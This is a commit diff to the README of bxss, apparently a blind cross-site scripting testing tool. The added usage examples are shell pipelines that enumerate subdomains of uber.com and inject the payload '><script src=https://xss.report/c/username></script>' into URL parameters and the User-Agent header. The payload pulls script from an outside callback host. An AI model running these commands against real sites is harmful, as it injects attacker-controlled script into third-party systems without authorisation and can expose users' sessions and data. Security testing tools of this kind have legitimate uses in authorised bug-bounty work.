chore: updated README

Author: ethicalhackingplayground

README.md

@@ -76,10 +76,29 @@ go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest
 subfinder -d uber.com \
 | gau \
 | grep "&" \
+| bxss -p '><script src=https://xss.report/c/username></script>' \
+-t
+```
+
+### Append To Parameters
+```bash
+subfinder -d uber.com \
+| gau \
+| grep "&" \
 | bxss -a -p '><script src=https://xss.report/c/username></script>' \
 -t
 ```
 
+### Both Headers & Parameters
+```bash
+subfinder -d uber.com \
+| gau \
+| grep "&" \
+| bxss -p '><script src=https://xss.report/c/username></script>' \
+-H "User-Agent" \
+-t
+```
+
 ### X-Forwarded-For Header
 ```bash
 subfinder -d uber.com \